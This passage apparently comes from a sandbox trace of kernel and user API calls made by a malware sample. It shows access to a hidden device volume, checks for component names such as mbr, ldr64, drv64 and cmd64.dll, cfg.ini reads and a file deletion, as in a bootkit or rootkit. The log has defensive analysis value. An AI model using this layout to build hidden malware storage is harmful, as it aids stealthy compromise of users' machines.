0xfffffa8003bbeaf0 [0123.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] KeLeaveCriticalRegion () [0123.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.071] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.072] KeEnterCriticalRegion () [0123.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.072] KeLeaveCriticalRegion () [0123.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.072] KeEnterCriticalRegion () [0123.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.072] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.072] IdePortDispatch () returned 0x103 [0123.072] KeWaitForMutexObject () returned 0x0 [0123.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.072] KeLeaveCriticalRegion () [0123.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.072] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.072] KeEnterCriticalRegion () [0123.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da5000 [0123.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.072] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.072] IdePortDispatch () returned 0x103 [0123.072] KeWaitForMutexObject () returned 0x0 [0123.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.073] IdePortDispatch () returned 0x103 [0123.073] KeWaitForMutexObject () returned 0x0 [0123.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.073] KeLeaveCriticalRegion () [0123.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.073] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.073] KeEnterCriticalRegion () [0123.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.073] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.073] KeLeaveCriticalRegion () [0123.073] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.073] KeEnterCriticalRegion () [0123.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.073] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.073] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.074] KeLeaveCriticalRegion () [0123.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.074] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.074] KeEnterCriticalRegion () [0123.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.074] ExFreePoolWithTag (P=0xfffffa8003bbeaf0, Tag=0x0) [0123.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.074] KeLeaveCriticalRegion () [0123.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.074] ReleaseMutex (hMutex=0xf0) returned 1 [0123.074] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.074] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.074] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.074] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.074] KeEnterCriticalRegion () [0123.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.074] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.074] IdePortDispatch () returned 0x103 [0123.074] KeWaitForMutexObject () returned 0x0 [0123.074] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.074] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.074] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.074] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.074] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.074] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.074] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.074] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.074] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.074] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.074] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.074] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.074] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.074] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.074] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.074] KeLeaveCriticalRegion () [0123.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.075] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.075] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.075] KeEnterCriticalRegion () [0123.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.075] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.075] IdePortDispatch () returned 0x103 [0123.075] KeWaitForMutexObject () returned 0x0 [0123.075] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.075] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.075] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.075] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.075] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.075] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.075] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.075] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.075] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.075] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.075] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.075] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.075] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.075] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.075] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.075] KeLeaveCriticalRegion () [0123.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.075] ReleaseMutex (hMutex=0x100) returned 1 [0123.075] Sleep (dwMilliseconds=0x2bf20) [0123.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c8f3890, dwHighDateTime=0x1d24fa4)) [0123.081] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.081] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.082] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.082] KeEnterCriticalRegion () [0123.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.082] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.082] IdePortDispatch () returned 0x103 [0123.082] KeWaitForMutexObject () returned 0x0 [0123.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.082] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.082] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbeaf0 [0123.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.082] KeLeaveCriticalRegion () [0123.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.082] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.082] KeEnterCriticalRegion () [0123.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.082] KeLeaveCriticalRegion () [0123.082] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.082] KeEnterCriticalRegion () [0123.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.082] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.082] IdePortDispatch () returned 0x103 [0123.082] KeWaitForMutexObject () returned 0x0 [0123.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.083] KeLeaveCriticalRegion () [0123.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.083] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.083] KeEnterCriticalRegion () [0123.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da8000 [0123.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.083] IdePortDispatch () returned 0x103 [0123.083] KeWaitForMutexObject () returned 0x0 [0123.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.083] IdePortDispatch () returned 0x103 [0123.083] KeWaitForMutexObject () returned 0x0 [0123.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.083] KeLeaveCriticalRegion () [0123.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.084] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.084] KeEnterCriticalRegion () [0123.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] KeLeaveCriticalRegion () [0123.084] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.084] KeEnterCriticalRegion () [0123.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.084] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] KeLeaveCriticalRegion () [0123.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.084] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.084] KeEnterCriticalRegion () [0123.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] ExFreePoolWithTag (P=0xfffffa8003bbeaf0, Tag=0x0) [0123.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] KeLeaveCriticalRegion () [0123.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.084] ReleaseMutex (hMutex=0xf0) returned 1 [0123.084] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.084] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.084] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.084] KeEnterCriticalRegion () [0123.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.084] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.084] IdePortDispatch () returned 0x103 [0123.085] KeWaitForMutexObject () returned 0x0 [0123.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.085] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.085] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.085] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.085] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.085] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9ea0 [0123.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.085] KeLeaveCriticalRegion () [0123.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.085] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.085] KeEnterCriticalRegion () [0123.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.085] KeLeaveCriticalRegion () [0123.085] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.086] KeEnterCriticalRegion () [0123.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.086] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.086] IdePortDispatch () returned 0x103 [0123.086] KeWaitForMutexObject () returned 0x0 [0123.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.086] KeLeaveCriticalRegion () [0123.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.086] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.086] KeEnterCriticalRegion () [0123.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da9000 [0123.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.086] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.086] IdePortDispatch () returned 0x103 [0123.086] KeWaitForMutexObject () returned 0x0 [0123.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.086] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.086] IdePortDispatch () returned 0x103 [0123.086] KeWaitForMutexObject () returned 0x0 [0123.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] KeLeaveCriticalRegion () [0123.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.087] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.087] KeEnterCriticalRegion () [0123.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] KeLeaveCriticalRegion () [0123.087] _snprintf (in: 